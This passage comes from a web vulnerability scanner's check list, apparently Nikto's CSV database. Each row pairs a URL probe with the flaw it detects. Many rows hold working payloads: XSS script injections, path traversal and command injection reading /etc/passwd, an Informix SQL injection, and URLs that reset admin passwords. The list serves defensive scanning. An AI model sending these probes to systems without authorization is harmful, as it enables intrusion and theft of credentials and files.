  1414. "generic","/postnuke/index.php?module=My_eGallery","200","GET","My_eGallery prior to 3.1.1.g are vulnerable to a remote execution bug via SQL command injection."
  1415. "generic","/postnuke/modules.php?op=modload&name=Web_Links&file=index&req=viewlinkdetails&lid=666&ttitle=Mocosoft Utilities\"%3<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Postnuke Phoenix 0.7.2.3 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1416. "generic","/powerportal/","200","GET","PowerPortal 1.1b is vulnerable to CSS attacks."
  1417. "generic","/pp.php?action=login","200","GET","Pieterpost 0.10.6 allows anyone to access the 'virtual' account which can be used to relay/send e-mail."
  1418. "generic","/pr0n/","200","GET","Uh oh..."
  1419. "generic","/profile.php?u=JUNK(8)","Warning:","GET","Powerboards (http://powerboards.sourceforge.net/) is vulnerable to path disclosure. See http://www.ifrance.com/kitetoua/tuto/powerboards.txt for details."
  1420. "generic","/profiles.php?uid=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","GeekLog 1.3.7 allows Cross Site Scripting (XSS). CA-2000-02."
  1421. "generic","/Program%20Files/","WindowsUpdate","GET","This check (B) uses the blue test (A) for possible exploit. see  http://www.badblue.com/down.htm."
  1422. "generic","/project/index.php?m=projects&user_cookie=1","200","GET","dotProject 0.2.1.5 may allow admin login bypass by adding the user_cookie=1 to the URL."
  1423. "generic","/pron/","200","GET","Uh oh..."
  1424. "generic","/pub/english.cgi?op=rmail","200","GET","BSCW self-registration may be enabled. This could allow untrusted users semi-trusted access to the software. 3.x version (and probably some 4.x) allow arbitrary commands to be executed remotely. See http://www.securitytracker.com/alerts/2002/Jan/1003092.html"
  1425. "generic","/put/cgi-bin/putport.exe?SWAP&BOM&OP=none&Lang=en-US&PutHtml=../../../../../../../../etc/passwd","root:","GET","NCR's Terradata server contains a CGI which allows any file to be retrieved remotely."
  1426. "generic","/pvote/ch_info.php?newpass=password&confirm=password%20","200","GET","PVote administration page is available. Versions 1.5b and lower do not require authentication to reset the administration password."
  1427. "generic","/pw/storemgr.pw","200","GET","Encrypted ID/Pass for Mercantec's SoftCart, http://www.mercantec.com/, see http://www.mindsec.com/advisories/post2.txt for more information."
  1428. "generic","/pwd.db","200","GET","Passwords?"
  1429. "generic","/quikstore.cfg","200","GET","Shopping cart config file, http://www.quikstore.com/, http://www.mindsec.com/advisories/post2.txt"
  1430. "generic","/quikstore.cgi","200","GET","A shopping cart."
  1431. "generic","/readme.txt","200","GET","Default file found."
  1432. "generic","/README.TXT","200","GET","Default file found."
  1433. "generic","/web.config","200","GET,"ASP config file found."
  1434. "generic","/readme","index of","GET","Default directory found."
  1435. "generic","/replymsg.php?send=1&destin=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","This version of PHP-Nuke's replymsg.php is vulnerable to Cross Site Scripting (XSs). CA-2000-02."
  1436. "generic","/ROADS/cgi-bin/search.pl?form=../../../../../../../../../../etc/passwd%00","root:","GET","The ROADS search.pl allows attackers to retrieve system files."
  1437. "generic","/rtm.log","HttpPost Retry","GET","Rich Media's JustAddCommerce allows retrieval of a log file, which may contain sensitive information."
  1438. "generic","/samples/search.dll?query=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."&logic=AND
  1439. "generic","/sca/menu.jsp","Service Control Agent","GET","Entrust GetAccess Service Control Agent is installed."
  1440. "generic","/scozbook/view.php?PG=whatever","Warning","GET","ScozBook Beta 1.1 may reveal file system paths in error messages."
  1441. "generic","/script>alert('Vulnerable')</script>.cfm","<script>alert('Vulnerable')</script>","GET","Macromedia's ColdFusion MX server is vulnerable to Cross Site Scripting (XSS). CA-2000-02. Patch or upgrade to a newer version, or change the default 404 document. http://www.macromedia.com/v1/handlers/index.cfm?ID=23047"
  1442. "generic","/scripts","Index of ","GET","Remote scripts directory is browsable."
  1443. "generic","/scripts/db4web_c.exe/dbdirname/c%3A%5Cboot.ini","boot loader","GET","The boot.ini file was retrieved by using the db4web executable."
  1444. "generic","/scripts/wsisa.dll/WService=anything?WSMadmin","200","GET","Allows Webspeed to remotely administered. Edit unbroker.properties and set AllowMsngrCmds to 0"
  1445. "generic","/search.asp?Search=\"><script>alert(Vulnerable)</script>","<script>alert(Vulnerable)</script>","GET","Snitz 3.4.0.3 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1446. "generic","/search.asp?term=<%00script>alert('Vulnerable')</script>","alert('Vulnerable')</script>","GET","ASP.Net 1.1 may allow Cross Site Scripting (XSS) in error pages (only some browsers will render this). CA-2000-02."
  1447. "generic","/search.php?mailbox=INBOX&what=x&where=<script>alert('Vulnerable!')</script>&submit=Search","include_path","GET","This Squirrel Mail 1.2.7 reveals the PHP path information in error messages."
  1448. "generic","/search.php?searchfor=\"><script>alert('Vulnerable');</script>","alert('Vulnerable')","GET","Siteframe 2.2.4 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1449. "generic","/search.php?searchstring=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Gallery 1.3.4 and below is vulnerable to Cross Site Scripting (XSS). Upgrade to the latest version. BID-8288."
  1450. "generic","/search.php?sess=your_session_id&lookfor=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","phPay v2.02 cross site scripting. http://phpay.sourceforge.net/."
  1451. "generic","/search.php?zoom_query=<script>alert(\"hello\")</script>","<script>alert(\"hello\")</script>","GET","Wrensoft Zoom Search Engine is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1452. "generic","/Search","index of","GET","FirstClass 7.1 server allows file listing of any directory by accessing the /Search url."
  1453. "generic","/search/?SectionIDOverride=1&SearchText=<script>alert(document.cookie);</script>","<script>alert(document.cookie)</script>","GET","ezPublish 2.27 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1454. "generic","/search/","Sample Search Interface","GET","Default iPlanet search is enabled."
  1455. "generic","/search/index.cfm?<script>alert(\"Vulnerable\")</script>","<script>alert(\"Vulnerable\")</script>","GET","Search agent allows Cross Site Scripting (XSS). CA-2000-02."
  1456. "generic","/search97cgi/s97_cgi?action=FilterSearch&filter=<script>alert('Vulnerable');</script>;","<script>alert('Vulnerable')</script>","GET","SCO Unixware search script is vulnerable to XSS and command injection, BID-1717, CVE-2000-1014"
  1457. "generic","/search97cgi/s97_cgi","200","GET","SCO Unixware search script may be vulnerable to XSS and command injection, BID-1717, CVE-2000-1014"
  1458. "generic","/securecontrolpanel/","200","GET","Web Server Control Panel"
  1459. "generic","/securelogin/1,2345,A,00.html","200","GET","Vignette Story Server v4.1, 6, may disclose sensitive information via a buffer overflow. CAN-2002-0385."
  1460. "generic","/server/","200","GET","If port 8000, Macromedia Jrun 4 build 61650 remote administration interface is vulnerable to several CSS attacks."
  1461. "generic","/servlet/admin?category=server&method=listAll&Authorization=Digest+username%3D%22admin%22%2C+response%3D%22ae9f86d6beaa3f9ecb9a5b7e072a4138%22%2C+nonce%3D%222b089ba7985a883ab2eddcd3539a6c94%22%2C+realm%3D%22adminRealm%22%2C+uri%3D%22%2Fservlet%2Fadmin%22&service=","server.javawebserver.serviceAdmin","GET","The Sun JavaServer has the default admin/admin account enabled. Change the password or disable the server if it is not needed."
  1462. "generic","/servlet/allaire.jrun.ssi.SSIFilter","200!Error Occurred","GET","Allaire Coldfusion allows jsp source viewed through a vulnerable SSI call, see MPSB01-12 http://www.macromedia.com/devnet/security/security_zone/mpsb01-12.html.","<!--#include virtual=\"/index.jsp\"-->"
  1463. "generic","/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter","200!Error Occurred","GET","Allaire Coldfusion allows jsp source viewed through a vulnerable SSI call.","<!--#include virtual=\"/index.jsp\"-->"
  1464. "generic","/servlet/com.unify.servletexec.UploadServlet","200!Error Occurred","GET","This servlet allows attackers to upload files to the server."
  1465. "generic","/servlet/ContentServer?pagename=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Open Market Inc.╩ContentServer is vulnerable to Cross Site Scripting (XSS) in the login-error page. CA-2000-02."
  1466. "generic","/servlet/CookieExample?cookiename=<script>alert(\"Vulnerable\")</script>","<script>alert(\"Vulnerable\")</script>","POST","Bajie HTTP JServer is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1467. "generic","/servlet/Counter","200!Error Occurred","GET","JRun default servlet found. All default code should be removed from servers."
  1468. "generic","/servlet/custMsg?guestName=<script>alert(\"Vulnerable\")</script>","<script>alert(\"Vulnerable\")</script>","POST","Bajie HTTP JServer is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1469. "generic","/servlet/DateServlet","200!Error Occurred","GET","JRun default servlet found. All default code should be removed from servers."
  1470. "generic","/servlet/FingerServlet","200!Error Occurred","GET","JRun default servlet found. All default code should be removed from servers."
  1471. "generic","/servlet/HelloWorldServlet","200!Error Occurred","GET","JRun default servlet found. All default code should be removed from servers."
  1472. "generic","/servlet/IsItWorking","Yes, It's working","GET","Default Java (JServ) pages are present."
  1473. "generic","/servlet/SchedulerTransfer","200!Error Occurred","GET","PeopleSoft SchedulerTransfer servlet found, which may allow remote command execution. See http://www.iss.net/issEn/delivery/xforce/alertdetail.jsp?oid=21999"
  1474. "generic","/servlet/SessionManager","200!Error Occurred","GET","IBM WebSphere reconfigure servlet (user=servlet, password=manager). All default code should be removed from servers."
  1475. "generic","/servlet/SessionServlet","200!Error Occurred","GET","JRun default servlet found. All default code should be removed from servers."
  1476. "generic","/servlet/SimpleServlet","200!Error Occurred","GET","JRun default servlet found. All default code should be removed from servers."
  1477. "generic","/servlet/SnoopServlet","200!Error Occurred","GET","JRun default servlet found. All default code should be removed from servers."
  1478. "generic","/servlet/sunexamples.BBoardServlet","200!Error Occurred","GET","This default servlet lets attackers execute arbitrary commands."," "
  1479. "generic","/servlets/SchedulerTransfer","200!Error Occurred","GET","PeopleSoft SchedulerTransfer servlet found, which may allow remote command execution. See http://www.iss.net/issEn/delivery/xforce/alertdetail.jsp?oid=21999"
  1480. "generic","/session/admnlogin","200!Error Occurred","GET","SessionServlet Output, has session cookie info."
  1481. "generic","/SetSecurity.shm","200","GET","Cisco System's My Access for Wireless... This resource should be password protected."
  1482. "generic","/settings/site.ini","DatabaseSettings","GET","eZ publish v3 and prior allow site setup code to be viewed remotely."
  1483. "generic","/setup.exe?<script>alert('Vulnerable')</script>&page=list_users&user=P","<script>alert('Vulnerable')</script>","GET","CiscoSecure ACS v3.0(1) Build 40 allows Cross Site Scripting (XSS). CA-2000-02."
  1484. "generic","/sgdynamo.exe?HTNAME=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Ecometry's SGDynamo is vulnerable to Cross Site Scripting (XSS). ╩CAN-2002-0375. CA-2000-02."
  1485. "generic","/shop/database/metacart.mdb","200","GET","MetaCart2 is an ASP shopping cart. The database of customers is available via the web."," "
  1486. "generic","/shop/member_html.cgi?file=;cat%20/etc/passwd|","root:","GET","Happymail E-Commerce 4.3/4.4 allows arbitrary commands to be executed remotely. CAN-2003-0243."
  1487. "generic","/shop/member_html.cgi?file=|cat%20/etc/passwd|","root:","GET","Happymail E-Commerce 4.3/4.4 allows arbitrary commands to be executed remotely. CAN-2003-0243."
  1488. "generic","/shop/normal_html.cgi?file=;cat%20/etc/passwd|","root:","GET","Happymail E-Commerce 4.3/4.4 allows arbitrary commands to be executed remotely. CAN-2003-0243."
  1489. "generic","/shop/normal_html.cgi?file=../../../../../../etc/issue%00","root:","GET","Happymail E-Commerce 4.3/4.4 allows arbitrary files to be retrieved remotely. CAN-2003-0243."
  1490. "generic","/shop/normal_html.cgi?file=<script>alert(\"Vulnerable\")</script>","<script>alert(\"Vulnerable\")</script>","GET","Happymail E-Commerce is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1491. "generic","/shop/normal_html.cgi?file=|cat%20/etc/passwd|","root:","GET","Happymail E-Commerce 4.3/4.4 allows arbitrary commands to be executed remotely. CAN-2003-0243."
  1492. "generic","/shopa_sessionlist.asp","200","GET","VP-ASP shopping cart test application is available from the web. This page may give the location of .mdb files which may also be available."
  1493. "generic","/shopadmin.asp","200","GET","VP-ASP shopping cart admin may be available via the web. Default ID/PW are vpasp/vpasp and admin/admin."
  1494. "generic","/shopdbtest.asp","xDatabase","GET","VP-ASP shopping cart test application is available from the web. This page gives the location of .mdb files which may also be available (xDatabase)."
  1495. "generic","/shopdisplayproducts.asp?id=1&cat=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","VP-ASP SHopping Cart 4.x shopdisplayproducts.asp XSS. OSVDB-2921. BID-9164"
  1496. "generic","/shoponline/fpdb/shop.mdb","200","GET","MetaCart2 is an ASP shopping cart. The database of customers is available via the web."," "
  1497. "generic","/shopping/database/metacart.mdb","200","GET","MetaCart2 is an ASP shopping cart. The database of customers is available via the web."," "
  1498. "generic","/shopping/diag_dbtest.asp","200","GET","VP-ASP Shopping Cart 5.0 contains multiple SQL injection vulnerabilities. CAN-2003-0560, BID-8159"
  1499. "generic","/shopping/shopdisplayproducts.asp?id=1&cat=<script>alert('test')</script>","<script>alert('test')</script>","GET","VP-ASP prior to 4.50 are vulnerable to XSS attacks"
  1500. "generic","/shopping300.mdb","200","GET","VP-ASP shopping cart application allows .mdb files (which may include customer data) to be downloaded via the web. These should not be available."
  1501. "generic","/shopping400.mdb","200","GET","VP-ASP shopping cart application allows .mdb files (which may include customer data) to be downloaded via the web. These should not be available."
  1502. "generic","/shoppingdirectory/midicart.mdb","200","GET","MIDICART database is available for browsing. This should not be allowed via the web server."
  1503. "generic","/shoutbox.php?conf=../../../../../../../etc/passwd","root:","GET","Webfroot Shoutbox 2.32 and below allows any file to be read from the system."
  1504. "generic","/showcat.php?catid=<Script>JavaScript:alert('Vulnerable');</Script>","<script>alert('Vulnerable')</script>","GET","phpLinkat is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1505. "generic","/SilverStream","/Pages","GET","SilverStream allows directory listing"
  1506. "generic","/SilverStream/Meta/Tables/?access-mode=text","_DBProduct","GET","The SilverStream database structure is available for remote viewing."
  1507. "generic","/simplebbs/users/users.php","200","GET","Simple BBS 1.0.6 allows user information and passwords to be viewed remotely."
  1508. "generic","/sips/sipssys/users/a/admin/user","Password","GET","SIPS v0.2.2 allows user account info (including password) to be retrieved remotely."
  1509. "generic","/site/' UNION ALL SELECT FileToClob('/etc/passwd','server')::html,0 FROM sysusers WHERE username = USER --/.html","root:","GET","Web DataBlade 4.12/Informix is vulnerable to SQL Injection."
  1510. "generic","/site/' UNION ALL SELECT FileToClob('/etc/passwd','server')::html,0 FROM sysusers WHERE username=USER --/.html","root:","GET","IBM Informix Web DataBlade allows remote execute of SQL"
  1511. "generic","/siteminder","200","GET","This may be an indication that the server is running Siteminder for SSO"
  1512. "generic","/siteminder/smadmin.html","Admin Login","GET","SiteMinder admin login page available."
  1513. "generic","/SiteScope/cgi/go.exe/SiteScope?page=eventLog&machine=&logName=System&account=administrator","Event Log","GET","SiteScope service has no password set. Restrict by IP and set a password."
  1514. "generic","/SiteScope/htdocs/SiteScope.html","200","GET","The SiteScope install may allow remote users to get sensitive information about the hosts being monitored."
  1515. "generic","/smssend.php","200","GET","PhpSmssend may allow system calls if a ' is passed to it. http://zekiller.skytech.org/smssend.php"
  1516. "generic","/soapdocs/ReleaseNotes.html","Oracle SOAP","GET","Default Oracle SOAP documentation found."
  1517. "generic","/soinfo.php?\"><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The PHP script soinfo.php is vulnerable to Cross Site Scripting CA-2000-02. Set expose_php = Off in php.ini."
  1518. "generic","/SPHERA/login/sm_login_screen.php?error=\"><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","SPHERA HostingDirector and Final User (VDS) Control Panel 1-3 are vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1519. "generic","/SPHERA/login/sm_login_screen.php?uid=\"><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","SPHERA HostingDirector and Final User (VDS) Control Panel 1-3 are vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1520. "generic","/splashAdmin.php","200","GET","Cobalt Qube 3 admin is running. This may have multiple security problems as described by www.scan-associates.net. These could not be tested remotely."," "
  1521. "generic","/spwd","200","GET","Passwords?"
  1522. "generic","/sqldump.sql","200","GET","Database SQL?"
  1523. "generic","/sqlnet.log","200","GET","Oracle log file found."
  1524. "generic","/src/read_body.php?mailbox=%3Cscript%3Ealert(Vulnerable)%3C%2Fscript%3E&passed_id=%3Cscript%3Ealert(Vulnerable)%3C%2Fscript%3E&startMessage=1&show_more=0","<script>alert(Vulnerable)</script>","GET","Squirrel Mail is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1525. "generic","/ss000007.pl?PRODREF=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Actinic E-Commerce services is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1526. "generic","/ssdefs/","200","GET","Siteseed pre 1.4.2 has 'major' security problems."
  1527. "generic","/ssdefs/siteseed.dtd","imagesDir=\"","GET","Siteseed pre 1.4.2 has 'major' security problems, and this dtd file reveals the web root."
  1528. "generic","/sshome/","200","GET","Siteseed pre 1.4.2 has 'major' security problems."
  1529. "generic","/start.php?config=alper.inc.php","Failed opening required","GET","phPay v2.02 information disclosure. http://phpay.sourceforge.net/."
  1530. "generic","/structure.sql","200","GET","Database SQL?"
  1531. "generic","/style/","Index of ","GET","May be able to view web styles directory."
  1532. "generic","/styles/","Index of ","GET","May be able to view web styles directory."
  1533. "generic","/submit?setoption=q&option=allowed_ips&value=255.255.255.255","200","GET","MLdonkey 2.x allows administrative interface access to be access from any IP. This is typically only found on port 4080."
  1534. "generic","/submit.php?subject=<script>alert('Vulnerable')</script>&story=<script>alert('Vulnerable')</script>&storyext=<script>alert('Vulnerable')</script>&op=Preview","<script>alert('Vulnerable')</script>","GET","This install of PHPNuke is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1535. "generic","/sunshop.index.php?action=storenew&username=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","SunShop is vulnerable to Cross Site Scripting (XSS) in the signup page. CA-200-02."
  1536. "generic","/SUNWmc/htdocs/en_US/","Index of","GET","Directory indexing is enabled. This is likely a Sun Solstice installation."
  1537. "generic","/support/common.php?f=0&ForumLang=../../../../../../../../../../etc/passwd","root:","GET","This CGI allows attackers to read files on the host."
  1538. "generic","/support/messages","200","GET","Axis WebCam allows retrieval of messages file (/var/log/messages). See http://www.websec.org/adv/axis2400.txt.html"
  1539. "generic","/supporter/index.php?t=ticketfiles&id=<script><script>alert('Vulnerable')</script></script>","<script>alert('Vulnerable')</script>","GET","MyHelpdesk from http://myhelpdesk.sourceforge.net/ versions v20020509 and older are vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1540. "generic","/supporter/index.php?t=tickettime&id=<script><script>alert('Vulnerable')</script></script>","<script>alert('Vulnerable')</script>","GET","MyHelpdesk from http://myhelpdesk.sourceforge.net/ versions v20020509 and older are vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1541. "generic","/supporter/index.php?t=updateticketlog&id=<script><script>alert('Vulnerable')</script></script>","<script>alert('Vulnerable')</script>","GET","MyHelpdesk from http://myhelpdesk.sourceforge.net/ versions v20020509 and older are vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1542. "generic","/syshelp/cscript/showfnc.stm?pkg=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1543. "generic","/syshelp/cscript/showfncs.stm?pkg=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1544. "generic","/syshelp/cscript/showfunc.stm?func=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1545. "generic","/syshelp/stmex.stm?foo=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."&bar=456
  1546. "generic","/syshelp/stmex.stm?foo=123&bar=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1547. "generic","/sysuser/docmgr/create.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1548. "generic","/sysuser/docmgr/edit.stm?name=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1549. "generic","/sysuser/docmgr/edit.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1550. "generic","/sysuser/docmgr/ftp.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1551. "generic","/sysuser/docmgr/htaccess.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1552. "generic","/sysuser/docmgr/iecreate.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1553. "generic","/sysuser/docmgr/iecreate.stm?template=../","200","GET","Sambar default file may allow directory listings."
  1554. "generic","/sysuser/docmgr/ieedit.stm?name=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1555. "generic","/sysuser/docmgr/ieedit.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1556. "generic","/sysuser/docmgr/ieedit.stm?url=../","200","GET","Sambar default file may allow directory listings."
  1557. "generic","/sysuser/docmgr/info.stm?name=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1558. "generic","/sysuser/docmgr/info.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1559. "generic","/sysuser/docmgr/mkdir.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1560. "generic","/sysuser/docmgr/rename.stm?name=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1561. "generic","/sysuser/docmgr/rename.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1562. "generic","/sysuser/docmgr/search.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1563. "generic","/sysuser/docmgr/search.stm?query=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1564. "generic","/sysuser/docmgr/sendmail.stm?name=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1565. "generic","/sysuser/docmgr/sendmail.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1566. "generic","/sysuser/docmgr/template.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1567. "generic","/sysuser/docmgr/update.stm?name=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1568. "generic","/sysuser/docmgr/update.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1569. "generic","/sysuser/docmgr/vccheckin.stm?name=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1570. "generic","/sysuser/docmgr/vccheckin.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1571. "generic","/sysuser/docmgr/vccreate.stm?name=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1572. "generic","/sysuser/docmgr/vccreate.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1573. "generic","/sysuser/docmgr/vchist.stm?name=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1574. "generic","/sysuser/docmgr/vchist.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1575. "generic","/tcb/files/auth/r/root","u_pwd","GET","HP UX has auth info shared"
  1576. "generic","/templates/form_header.php?noticemsg=<script>javascript:alert(document.cookie)</script>","<script>alert(document.cookie)","GET","MyMarket 1.71 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1577. "generic","/templates/form_header.php?noticemsg=<script>javascript:alert(document.cookie)</script>","<script>javascript:alert(document.cookie)","GET","MyMarket 1.71 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1578. "generic","/test.php","Current PHP version","GET","PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information."
  1579. "generic","/test/info.php","Current PHP version","GET","PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information."
  1580. "generic","/test/phpinfo.php","Current PHP version","GET","PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information."
  1581. "generic","/texis.exe/?-dump","200","GET","Texis installation may reveal sensitive information."
  1582. "generic","/texis.exe/?-version","200","GET","Texis installation may reveal sensitive information."
  1583. "generic","/thebox/admin.php?act=write&username=admin&password=admin&aduser=admin&adpass=admin","200","GET","paBox 1.6 may allow remote users to set the admin password. If successful, the 'admin' password is now 'admin'."
  1584. "generic","/theme1/selector?button=status,monitor,session\"><script>alert('Vulnerable')</script>&button_url=/system/status/status,/system/status/moniter,/system/status/session","<script>alert('Vulnerable')</script>","GET","Fortigate firewall 2.50 and prior contains several CSS vulnerabilities in various administrative pages."
  1585. "generic","/theme1/selector?button=status,monitor,session&button_url=/system/status/status,/system/status/moniter,/system/status/session\"><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Fortigate firewall 2.50 and prior contains several CSS vulnerabilities in various administrative pages."
  1586. "generic","/theme1/selector?button=status,monitor,session&button_url=/system/status/status,/system/status/moniter\"><script>alert('Vulnerable')</script>,/system/status/session","<script>alert('Vulnerable')</script>","GET","Fortigate firewall 2.50 and prior contains several CSS vulnerabilities in various administrative pages."
  1587. "generic","/theme1/selector?button=status,monitor,session&button_url=/system/status/status\"><script>alert('Vulnerable')</script>,/system/status/moniter,/system/status/session","<script>alert('Vulnerable')</script>","GET","Fortigate firewall 2.50 and prior contains several CSS vulnerabilities in various administrative pages."
  1588. "generic","/themes/mambosimple.php?detection=detected&sitename=</title><script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1589. "generic","/ticket.php?id=99999","expects first argument","GET","ZenTrack from http://zentrack.phpzen.net/ versions v2.0.3, v2.0.2beta and older reveal the web root with certain errors."
  1590. "generic","/tiki/","200","GET","Tiki 1.7.2 and previous allowed restricted Wiki pages to be viewed via a 'URL trick'. Default login/pass could be admin/admin"
  1591. "generic","/tiki/tiki-install.php","200","GET","Tiki 1.7.2 and previous allowed restricted Wiki pages to be viewed via a 'URL trick'. Default login/pass could be admin/admin"
  1592. "generic","/TopSitesdirectory/help.php?sid=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","PHP TopSites allows Cross Site Scripting (XSS). CA-2000-02."
  1593. "generic","/tsweb/","200","GET","Microsoft TSAC found. http://www.dslwebserver.com/main/fr_index.html?/main/sbs-Terminal-Services-Advanced-Client-Configuration.html"
  1594. "generic","/typo3conf/","200","GET","This may contain sensitive Typo3 files."
  1595. "generic","/typo3conf/database.sql","200","GET","Typo3 sql file found."
  1596. "generic","/typo3conf/localconf.php","200","GET","Typo3 config file found."
  1597. "generic","/upload.php?type=\"<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1598. "generic","/uploader.php","200","GET","This script may allow arbitrary files to be uploaded to the remote server."
